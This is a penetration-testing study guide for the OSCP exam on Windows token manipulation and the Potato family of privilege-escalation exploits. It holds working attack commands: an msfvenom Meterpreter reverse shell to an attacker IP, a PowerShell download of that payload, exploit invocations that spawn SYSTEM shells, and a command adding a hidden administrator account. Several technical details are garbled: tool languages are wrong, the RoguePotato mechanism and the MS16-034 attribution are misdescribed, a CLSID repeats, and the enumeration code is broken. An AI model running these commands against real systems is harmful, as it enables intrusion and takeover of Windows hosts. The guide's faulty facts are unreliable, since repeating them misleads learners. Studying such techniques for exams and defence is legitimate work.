Domain 4PrivEsc & Password AttacksCORE

Token Manipulation

Complete guide to Windows token manipulation including impersonation tokens, primary token theft, JuicyPotato, RoguePotato, and SweetPotato for privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#tokens#impersonation#juicypotato#rottenpotato#privilege-escalation

Token Manipulation

Overview

Token manipulation is one of the most powerful and frequently tested privilege escalation techniques on the OSCP exam. Windows uses security tokens to enforce access control — every process runs under a security token that defines its identity, group memberships, and privileges. By manipulating these tokens, an attacker can escalate from a low-privilege user to SYSTEM.

This topic covers the full spectrum: from understanding token types and impersonation levels, to practical exploitation using Incognito, the Potato family of exploits, and modern alternatives.


5.1 Token Impersonation

What Are Security Tokens?

Every time a user logs into Windows, the authentication subsystem creates a security token. This token is attached to every process that the user starts and contains:

  • User identity — the SID (Security Identifier) of the logged-in user
  • Group memberships — all groups the user belongs to (local, domain, built-in)
  • Privileges — enabled and disabled privileges (e.g., SeImpersonatePrivilege, SeDebugPrivilege)
  • Integrity level — Mandatory Label (Untrusted, Low, Medium, High, System)
  • Authentication ID — unique per logon session

There are two fundamental types of tokens:

Token Type Description Stealable?
Primary Token The main token associated with a process. Defines who the process “is.” Not directly — requires DuplicateTokenEx + SetThreadToken
Impersonation Token A temporary token a process receives when it impersonates a client (e.g., a service handling a network request). Yes — can be directly assumed if the impersonation level is high enough

Impersonation Levels

When a server process impersonates a client, Windows assigns an impersonation level that determines what the server can do with the client’s identity:

Level Constant Capabilities Exploitable?
Anonymous SecurityAnonymous The server cannot identify the client. No token information is available. No
Identification SecurityIdentification The server can query the client’s identity (SID, groups, privileges) but cannot impersonate the client. No
Impersonation SecurityImpersonation The server can impersonate the client locally. It can access resources on the local system as the client. Yes
Delegation SecurityDelegation The server can impersonate the client locally and remotely. The token can be used to access resources on other machines. Yes — most powerful

Why This Matters for Privilege Escalation

Services that handle incoming connections (IIS, MSSQL, WinRM, HTTP.SYS, Named Pipes, COM) often impersonate the connecting client. If you can trigger a service to impersonate you, and that service runs as SYSTEM, you may be able to capture a high-privilege impersonation token and use it to escalate.

Incognito Tool

Incognito (by Craig Atherton / SensePost) is the go-to tool for token enumeration and manipulation. It works by:

  1. Enumerating all available impersonation tokens on the system
  2. Filtering by impersonation level
  3. Assuming a token (making your current process run under that token)
  4. Executing commands or spawning shells under the assumed token

Download and Setup

# Option 1: Compiled binary
# Download from: https://github.com/antonioCoco/Incognito/releases

# Option 2: PowerShell module (works without compilation)
# Download Invoke-TokenManipulation.ps1
Import-Module .\Invoke-TokenManipulation.ps1

Command Reference

# List all available tokens with full details
Invoke-TokenManipulation -ListTokens

# Realistic output:
# [*] Looking up tokens...
# [*] Current user: TARGET\user
# [*] Current token type: Primary
#
# [*] Available Primary Tokens (whoami /all equivalent):
#   User: TARGET\user
#   SID: S-1-5-21-xxxxx-xxxxx-xxxxx-1001
#   Privileges:
#     SeImpersonatePrivilege                Disabled
#     SeAssignPrimaryTokenPrivilege         Disabled
#
# [*] Available Impersonation Tokens:
#   User: NT AUTHORITY\SYSTEM
#   SID: S-1-5-18
#   Impersonation Level: Impersonation
#   Integrity Level: High
#
#   User: NT AUTHORITY\NETWORK SERVICE
#   SID: S-1-5-20
#   Impersonation Level: Impersonation
#   Integrity Level: Medium
#
#   User: DOMAIN\Administrator
#   SID: S-1-5-21-xxxxx-xxxxx-xxxxx-500
#   Impersonation Level: Delegation
#   Integrity Level: High
# Assume a specific token (makes your current process run as that user)
Invoke-TokenManipulation -ImpersonateToken -Username "NT AUTHORITY\SYSTEM"

# Output:
# [*] Impersonating token for user: NT AUTHORITY\SYSTEM
# [*] Token type: Impersonation
# [+] Success! Current token is now: NT AUTHORITY\SYSTEM

# Verify
whoami
# Output: nt authority\system
# Execute a single command under a token without switching your shell
Invoke-TokenManipulation -ImpersonateToken -Username "DOMAIN\Administrator" -Command "whoami"

# Output:
# domain\administrator
# Spawn a new process (e.g., reverse shell) under the assumed token
Invoke-TokenManipulation -ImpersonateToken -Username "NT AUTHORITY\SYSTEM" -Command "C:\temp\shell.exe"

# Or spawn a new interactive CMD
Invoke-TokenManipulation -ImpersonateToken -Username "NT AUTHORITY\SYSTEM" -Command "cmd.exe"
# Steal a primary token from a running process
# This requires knowing the PID of a process running as the target user
Invoke-TokenManipulation -StealToken -ProcessId 1234

# Output:
# [*] Stealing token from process 1234
# [*] Process user: NT AUTHORITY\SYSTEM
# [+] Success! Current token is now: NT AUTHORITY\SYSTEM

Key Incognito Concepts

  • -ListTokens — Enumerates all tokens. Look for Impersonation or Delegation level tokens with high-privilege users (SYSTEM, Administrators)
  • -ImpersonateToken — Switches your current thread’s token. Your whoami will change
  • -StealToken — Takes the primary token from a specific process PID. More powerful but requires knowing which process to target
  • -Command — Executes a command under the token without permanently switching. Useful for quick checks

Token Impersonation Attack Flow

sequenceDiagram
    participant A as Attacker (Low Priv)
    participant S as Service (SYSTEM)
    participant T as Token
    participant R as Reverse Shell

    A->>S: Trigger service to impersonate attacker
    S->>T: Create Impersonation Token (Level: Impersonation)
    S-->>A: Respond to request
    A->>T: Incognito: List available tokens
    T-->>A: Shows SYSTEM impersonation token
    A->>T: Incognito: Assume SYSTEM token
    T-->>A: Current token = SYSTEM
    A->>R: Spawn reverse shell as SYSTEM
    R-->>A: SYSTEM shell received

5.2 Primary Token Theft

Why Primary Tokens Are Different

Primary tokens are the “real” identity of a process. Unlike impersonation tokens (which are temporary and created during client-server interactions), primary tokens are:

  • Bound to the process at creation time
  • Not directly accessible to other processes
  • Require specific API calls to duplicate

The DuplicateTokenEx + SetThreadToken Technique

To steal a primary token, you need to:

  1. Open a handle to the target process (OpenProcess)
  2. Open the process token (OpenProcessToken)
  3. Duplicate the token as a primary token (DuplicateTokenEx with TokenPrimary)
  4. Create a new thread (CreateThread)
  5. Set the thread’s impersonation token to the duplicated token (SetThreadToken)

This requires the SeAssignPrimaryTokenPrivilege privilege.

RottenPotato

RottenPotato (by borja) was one of the first exploits to automate primary token theft on systems before the MS16-034 patch. It works by:

  1. Creating a Named Pipe server
  2. Registering a COM object that will impersonate the pipe client
  3. Triggering the COM object to connect to the Named Pipe
  4. Capturing the SYSTEM impersonation token generated during the connection
  5. Using DuplicateTokenEx + SetThreadToken to escalate
# RottenPotato usage
# Download: https://github.com/borjapazrottis/Windows-Privilege-Escalation-Tools

# Basic - spawns cmd.exe as SYSTEM
.\RottenPotato.exe -c "cmd.exe"

# With custom command
.\RottenPotato.exe -c "C:\temp\shell.exe"

# Realistic output:
# [*] Creating named pipe...
# [*] Registering COM object...
# [*] Triggering impersonation...
# [+] SYSTEM token captured!
# [+] Spawning: cmd.exe
# Microsoft Windows [Version 10.0.17763.1]
# (c) 2018 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32>whoami
# nt authority\system

Important Note for OSCP

RottenPotato only works on unpatched systems (pre-MS16-034). On modern systems, you need JuicyPotato, RoguePotato, or PrintSpoofer instead.


5.3 JuicyPotato

MS16-034 Vulnerability Deep Dive

JuicyPotato (by ohpe /decoder) exploits MS16-034 — an elevation of privilege vulnerability in how Windows handles COM (Component Object Model) activation.

What Is MS16-034?

When a user activates a COM object that is configured to run under a different user account (via the LocalServer32 or InProcServer32 registry key), Windows:

  1. Creates a new process to host the COM object
  2. The hosting process impersonates the activating user
  3. This impersonation creates a token with SecurityImpersonation level

The vulnerability: even after Microsoft patched the original RottenPotato attack vector, the fundamental COM impersonation mechanism remained exploitable through a different approach — by abusing the IActivationProperties interface to force a higher impersonation level.

What Is a CLSID?

A CLSID (Class ID) is a Globally Unique Identifier (GUID) that identifies a COM class. Each COM object registered on the system has a CLSID stored in the Registry under:

HKCR\CLSID\{GUID}
HKLM\SOFTWARE\Classes\CLSID\{GUID}

The CLSID entry contains:

  • LocalServer32 — Path to the executable that hosts this COM object
  • InProcServer32 — Path to the DLL that hosts this COM object
  • AppId — Links to an application identifier
  • RunAs — The account the COM object runs under (critical: must be Interactive User or NT AUTHORITY\SYSTEM)

Prerequisites for JuicyPotato

Requirement Details
SeImpersonatePrivilege Must be enabled (check with whoami /priv)
Available CLSID A CLSID that runs as SYSTEM or Interactive User with a LocalServer32 entry
OS Version Windows 7, 8, 8.1, 10 (pre-1809), Server 2008, 2012, 2016, 2019
Patch Status System must NOT have the COM impersonation mitigation (Windows 10 1809+ has mitigations)

Finding Available CLSIDs

# Method 1: Use JuicyPotato's built-in CLSID enumeration
# JP.exe automatically searches for usable CLSIDs

# Method 2: PowerShell enumeration
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -Recurse -ErrorAction SilentlyContinue |
    ForEach-Object {
        $localServer = Get-ItemProperty "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue
        if ($localServer -and $localServer.(Get-ItemProperty $_.PSPath).RunAs -eq "Interactive User") {
            Write-Host "[+] CLSID: $($_.PSChildName)"
            Write-Host "    LocalServer32: $($localServer.'(default)')"
        }
    }

# Method 3: Common known-good CLSIDs
# {F7FD3FD6-9994-4529-B2D0-0417995E90F6} — Shell.ServiceProvider (works on most systems)
# {E60687F7-06A9-45D0-84BD-E64EA69D6303} — Windows 10 specific
# {1B3E5D4A-600D-4745-B4E1-66BDDF09F7E1} — Windows 10
# {F7FD3FD6-9994-4529-B2D0-0417995E90F6} — Most reliable across versions

Full Exploitation Walkthrough

# Step 1: Verify prerequisites
whoami /priv
# Look for: SeImpersonatePrivilege  Enabled

# Step 2: Download JuicyPotato
# https://github.com/ohpe/juicy-potato
# Pre-compiled binaries available in releases

# Step 3: Create your payload
# On Kali/attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f exe -o shell.exe

# Or create a simple reverse shell:
# https://github.com/antonioCoco/Seatbelt (for no-build tools)

# Step 4: Upload payload to target
# Use your existing access (e.g., via SMB, PowerShell download)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/shell.exe', 'C:\temp\shell.exe')"

# Step 5: Run JuicyPotato
.\JuicyPotato.exe -l 1337 -t * -p C:\temp\shell.exe -c {F7FD3FD6-9994-4529-B2D0-0417995E90F6}

# Realistic output:
# [*] CreateService succeeded!
# [*] Launching service...
# [*] Got an impersonation token!
# [*] Enabled token privileges:
#     SeAssignPrimaryTokenPrivilege
#     SeImpersonatePrivilege
#     SeCreateGlobalPrivilege
# [+] Spawned process with token!

Parameter Reference

Parameter Description Example
-l Local port for the RPC listener -l 1337
-t Token type to capture. * = all, i = impersonation, p = primary -t *
-p Program to execute as SYSTEM -p C:\temp\shell.exe
-a Arguments to pass to the program -a "/c whoami"
-c CLSID GUID to use -c {F7FD3FD6-9994-4529-B2D0-0417995E90F6}
-n Enable NP (Named Pipe) mode -n
-e Enable EP (Event) mode -e

JuicyPotato Token Flow

sequenceDiagram
    participant A as Attacker Process
    participant JP as JuicyPotato
    participant COM as COM Subsystem
    participant S as COM Server (SYSTEM)
    participant T as Token System

    A->>JP: Launch with CLSID + payload
    JP->>COM: Activate COM object via CLSID
    COM->>S: Spawn COM server process as SYSTEM
    S->>T: Impersonate connecting client (attacker)
    T-->>S: Return Impersonation Token (SYSTEM)
    S-->>JP: Token available via RPC/Named Pipe
    JP->>T: DuplicateTokenEx -> Primary Token
    T-->>JP: Primary SYSTEM token
    JP->>A: CreateProcessAsUser with SYSTEM token
    A-->>A: shell.exe runs as SYSTEM

5.4 RoguePotato

Why RoguePotato Supersedes JuicyPotato

JuicyPotato has a critical limitation: it requires a valid CLSID with specific properties. On Windows 10 version 1809 and later, Microsoft introduced mitigations that made finding a usable CLSID extremely difficult or impossible.

RoguePotato (by amri-it) solves this by eliminating the CLSID requirement entirely. Instead of abusing COM activation, it abuses HTTP.SYS — the Windows HTTP protocol stack.

The Named Pipe + HTTP Listener Technique

RoguePotato works through the following mechanism:

  1. Register a fake HTTP server — Uses HttpAddUrl to register an HTTP URL reservation (e.g., http://+:8080/)
  2. Create a Named Pipe — Sets up a Named Pipe server that will receive the impersonation token
  3. Trigger HTTP.SYS — Makes an HTTP request to the registered URL
  4. HTTP.SYS impersonates — When HTTP.SYS processes the request, it creates an impersonation token for the requesting user
  5. Token capture — The impersonation token flows through the Named Pipe, where RoguePotato captures it
  6. Escalation — Uses DuplicateTokenEx + CreateProcessWithTokenW to spawn a SYSTEM process

Why HTTP.SYS?

HTTP.SYS is a kernel-mode driver that handles HTTP requests for IIS and any application using the HTTP API. Key properties that make it exploitable:

  • Any process can register URL reservations (with HttpAddUrl)
  • HTTP.SYS creates impersonation tokens for incoming requests
  • The impersonation token has the privileges of the server process, not the client
  • If you register the URL and trigger the request yourself, you control both sides

Full Exploitation Walkthrough

# Step 1: Verify prerequisites
whoami /priv
# Look for: SeImpersonatePrivilege  Enabled

# Step 2: Download RoguePotato
# https://github.com/antonioCoco/RoguePotato
# Pre-compiled binary: RoguePotato.exe

# Step 3: Basic execution (spawns cmd.exe as SYSTEM)
.\RoguePotato.exe

# Realistic output:
# [*] RoguePotato - Windows Privilege Escalation
# [*] Using HTTP.SYS technique
# [*] Registering URL: http://+:8080/
# [*] Creating Named Pipe: \\.\pipe\RoguePotato
# [*] Starting HTTP listener...
# [*] Triggering HTTP.SYS request...
# [*] Capturing impersonation token...
# [+] SYSTEM token captured!
# [+] Spawning cmd.exe as SYSTEM...
# Microsoft Windows [Version 10.0.19041.1]
# (c) 2021 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32>whoami
# nt authority\system
# Step 4: With custom payload
.\RoguePotato.exe -c "C:\temp\shell.exe"

# Step 5: With custom port (if 8080 is in use)
.\RoguePotato.exe -p 9090

# Step 6: With custom command and arguments
.\RoguePotato.exe -c "cmd.exe" -a "/c net user hacker P@ssw0rd! /add & net localgroup Administrators hacker /add"

Parameter Reference

Parameter Description Default
-c Command to execute as SYSTEM cmd.exe
-a Arguments for the command None
-p HTTP listener port 8080
-u URL to register http://+:<port>/

RoguePotato Token Flow

sequenceDiagram
    participant A as Attacker Process
    participant RP as RoguePotato
    participant H as HTTP.SYS (Kernel)
    participant T as Token System
    participant P as Named Pipe

    A->>RP: Launch RoguePotato
    RP->>H: HttpAddUrl("http://+:8080/")
    H-->>RP: URL reservation granted
    RP->>P: Create Named Pipe server
    RP->>H: HttpReceiveRequest (wait for request)
    RP->>H: Self-request to http://localhost:8080/
    H->>T: Create impersonation token
    T-->>H: Impersonation token (SYSTEM context)
    H->>RP: Deliver request + token via callback
    RP->>P: Token flows through Named Pipe
    RP->>T: DuplicateTokenEx -> Primary SYSTEM token
    T-->>RP: Primary SYSTEM token
    RP->>A: CreateProcessWithTokenW -> SYSTEM shell

5.5 SweetPotato

Overview

SweetPotato (by CCob) is another HTTP.SYS-based exploitation tool, written in C as a single, small binary. It uses a technique very similar to RoguePotato but with some key differences.

Key Characteristics

Feature Detail
Language C (single compiled binary, very small)
Technique HTTP.SYS URL registration + Named Pipe
CLSID Required No
Windows Support Windows 7 through Windows 10 (all versions)
Size ~200KB (much smaller than Go-based tools)
Dependencies None — fully portable

Exploitation

# Download: https://github.com/CCob/SweetPotato

# Basic usage (spawns cmd.exe as SYSTEM)
.\SweetPotato.exe

# With custom command
.\SweetPotato.exe -c "cmd.exe /c whoami"

# With custom payload
.\SweetPotato.exe -c "C:\temp\shell.exe"

# Realistic output:
# [*] SweetPotato - HTTP.SYS Privilege Escalation
# [*] Registering URL reservation...
# [*] Starting HTTP server on port 80...
# [*] Creating named pipe...
# [*] Sending request to trigger impersonation...
# [*] Got SYSTEM token!
# [*] Spawning: cmd.exe
# C:\Windows\system32>whoami
# nt authority\system

SweetPotato vs RoguePotato

Feature RoguePotato SweetPotato
Language Go C
Binary Size ~10MB ~200KB
CLSID Required No No
Technique HTTP.SYS + Named Pipe HTTP.SYS + Named Pipe
Port Customization Yes (-p) Limited
Argument Support Yes (-a) Yes (-c with full command)
Windows 10 2004+ Yes Yes
Best For Flexibility, custom args Small size, quick deployment

Potato Tools Comparison

Comprehensive Comparison Table

Tool Windows Support Requires CLSID Requires Port Language Binary Size Technique
RottenPotato Win 7, 8, Server 2008 R2 (unpatched) No No C++ ~500KB COM + Named Pipe (pre-MS16-034)
JuicyPotato Win 7 — Win 10 1803, Server 2008—2019 Yes Yes (RPC) Go ~10MB COM activation + MS16-034
JuicyPotatoNG Win 7 — Win 10 1809, Server 2008—2019 Yes Yes (RPC) Go ~10MB COM activation + MS16-034 (improved)
RoguePotato All versions including Win 10 2004+ No Yes (HTTP) Go ~10MB HTTP.SYS + Named Pipe
SweetPotato Win 7 — Win 10 (all) No Yes (HTTP) C ~200KB HTTP.SYS + Named Pipe
PrintSpoofer Win 7 — Win 11, Server 2008—2022 No No C ~150KB Print Spooler + Named Pipe
PotatoManiac Win 7 — Win 10 No Yes (HTTP) Go ~10MB HTTP.SYS (multiple methods)

“Which Potato to Use?” Decision Matrix

flowchart TD
    A[Start: Need Token Escalation] --> B{Check whoami /priv}
    B -->|No SeImpersonatePrivilege| Z[Cannot use Potato tools. Try other vectors.]
    B -->|Has SeImpersonatePrivilege| C{Windows Version?}

    C -->|Win 7 / Server 2008 R2 unpatched| D[RottenPotato]
    C -->|Win 7 - Win 10 1803| E{CLSID available?}
    E -->|Yes| F[JuicyPotato / JuicyPotatoNG]
    E -->|No / Not sure| G[PrintSpoofer]

    C -->|Win 10 1809 - 2004| H{Prefer small binary?}
    H -->|Yes| I[SweetPotato]
    H -->|No / Need flexibility| J[RoguePotato]

    C -->|Win 10 2004+ / Win 11| K{Print Spooler running?}
    K -->|Yes| L[PrintSpoofer - BEST CHOICE]
    K -->|No| M[RoguePotato]

    C -->|Server 2016 / 2019| N[PrintSpoofer or RoguePotato]
    C -->|Server 2022| O[PrintSpoofer]

    D --> P[Get SYSTEM shell]
    F --> P
    G --> P
    I --> P
    J --> P
    L --> P
    M --> P
    N --> P
    O --> P

Quick Reference: When to Use What

Scenario Best Tool Why
OSCP exam, unknown Windows version PrintSpoofer Works on virtually everything, no CLSID, no port needed, tiny binary
Windows 10 2004+ RoguePotato or PrintSpoofer COM-based tools don’t work; HTTP.SYS or Print Spooler needed
Old Windows 7/2008 R2, unpatched RottenPotato Simplest on old unpatched systems
Windows 7-10 with known CLSID JuicyPotato Classic approach, well-documented
Need smallest binary SweetPotato or PrintSpoofer C binaries, under 200KB
Print Spooler service is running PrintSpoofer Most reliable modern approach

OSCP Exam Tips

Critical Checklist Before Using Potato Tools

# 1. Always check privileges first
whoami /priv
# You NEED SeImpersonatePrivilege (Enabled or Disabled — you can enable it)

# 2. Check Windows version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# 3. Check if Print Spooler is running (for PrintSpoofer)
sc query Spooler

# 4. Check if ports are available (for HTTP-based tools)
netstat -ano | findstr ":80 " | findstr "LISTENING"
netstat -ano | findstr ":8080 " | findstr "LISTENING"

Exam Strategy

  1. PrintSpoofer is your best friend — It works on the widest range of systems, doesn’t require CLSIDs, doesn’t need port availability, and the binary is tiny. Always try this first.

  2. Always have multiple Potato tools ready — Keep JuicyPotato, RoguePotato, SweetPotato, and PrintSpoofer in your cheat sheet / go-to folder. Different machines need different tools.

  3. Check whoami /priv before anything — If SeImpersonatePrivilege is not listed, Potato tools won’t work. Move to other escalation vectors.

  4. If SeImpersonatePrivilege shows as “Disabled” — You can still use it. The Potato tools will enable it internally. Don’t skip just because it says Disabled.

  5. Token manipulation via Incognito is different from Potato exploits — Incognito works with existing impersonation tokens already on the system (from services that are actively impersonating). Potato exploits CREATE new impersonation tokens through abuse. Know the difference.

  6. When Incognito shows a SYSTEM impersonation token — Use -ImpersonateToken to assume it directly. This is often faster than running a Potato exploit.

  7. Remember: these are local privilege escalation — You need an existing foothold (shell) on the target first.

Common Pitfalls

  • Firewall blocking the listener port — If RoguePotato/SweetPotato fail, try a different port or switch to PrintSpoofer
  • CLSID not found — JuicyPotato will fail silently or with errors. Switch to RoguePotato or PrintSpoofer
  • Antivirus detection — Some Potato tools may be flagged. SweetPotato and PrintSpoofer (being C binaries) are less likely to be detected
  • Already running as SYSTEM — If whoami returns nt authority\system, you don’t need token manipulation

Tools to Have Ready

Tool Source Notes
PrintSpoofer.exe https://github.com/itm4n/PrintSpoofer Primary choice for OSCP
RoguePotato.exe https://github.com/antonioCoco/RoguePotato Fallback for modern Windows
SweetPotato.exe https://github.com/CCob/SweetPotato Small binary alternative
JuicyPotato.exe https://github.com/ohpe/juicy-potato Old systems with CLSID
Invoke-TokenManipulation.ps1 https://github.com/clymb3r/PowerShell PowerShell-based token manipulation